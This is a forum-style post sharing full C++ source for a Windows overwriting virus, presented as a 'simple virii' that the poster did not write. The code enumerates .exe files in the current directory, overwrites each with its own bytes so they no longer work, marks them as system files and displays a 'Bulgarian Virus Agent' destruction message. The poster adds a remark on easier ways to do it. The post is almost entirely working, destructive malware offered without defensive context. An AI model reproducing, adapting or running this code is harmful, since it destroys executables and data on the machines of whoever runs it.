ExE File Destroyer (C++)

[soap]

This is simple virii that infects all .exe files in the current directory and make them unusable. (not made by me)

#include <windows.h>

int FixSize(int BytesToAdd, HANDLE FileHandle);
int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize);
int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize);
int OpenVirus(char FileName[] , HANDLE *OpenHandle);
int main()
{  
  char FileMask[] = "*.exe",FilePath[MAX_PATH],Payload[]="File Destroyed By Bulgarian Virus Agent!",Title[] = "Bulgarian Virus Agent";
  HANDLE FileFindHandle,NextHandle = 1,FileOpenHandle,VirusHandle;
  WIN32_FIND_DATA FindData;
  int FileSize,VirusSize;

  GetModuleFileName(NULL,FilePath,MAX_PATH);
  VirusSize = OpenVirus(FilePath,&VirusHandle);
  
  FileFindHandle = FindFirstFile(FileMask,&FindData);
  FindFiles:
  if(NextHandle == 0) { goto Finish;  }
  if(FindData.dwFileAttributes == FILE_ATTRIBUTE_SYSTEM) {
  FindNextFile:
  NextHandle = FindNextFile(FileFindHandle,&FindData);
   goto FindFiles;
   }
                                      
  FileSize = OpenFileToInfect(FindData.cFileName,&FileOpenHandle,VirusSize);
        
  Infect(FileOpenHandle,VirusHandle,VirusSize);
  FlushViewOfFile(FileOpenHandle,VirusSize);
  
  SetFileAttributes(FindData.cFileName,FILE_ATTRIBUTE_SYSTEM);                            
  
     goto FindNextFile;
    
     Finish:
            
  MessageBox(0,Payload,Title,MB_IConerror);  
  return 0;
}

int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize) {
    int Size;
    
  *OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );  
  Size = GetFileSize(*OpenHandle,NULL);

    if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle);  }
  *OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
  *OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);

   return Size;
}

int OpenVirus(char FileName[] , HANDLE *OpenHandle) {
    int Size;
    
  *OpenHandle = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL );
  
  Size = GetFileSize(*OpenHandle,NULL);
  
  *OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_READONLY,0,0,NULL);
  *OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_READ,0,0,0);

   return Size;
}

int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize) {
int i;
for(i = 0;i<VirusSize;i++) {
*FileHandle = *VirusHandle;
  FileHandle++;
  VirusHandle++;    
}
return 0;  
}

int FixSize(int BytesToAdd,HANDLE FileHandle) {
    
DWORD BytesWritten = 0;
char Buffer[BytesToAdd];

SetFilePointer(FileHandle,0,0,FILE_END);
WriteFile(FileHandle,Buffer,BytesToAdd,&BytesWritten,NULL);

return 0;  
}

It's an ugly way of doing it, I could easily grab a filestream (or handle, if you're that cardcore) shift some bits and bytes about and be done with it.
But it's old, and thought I'd post it.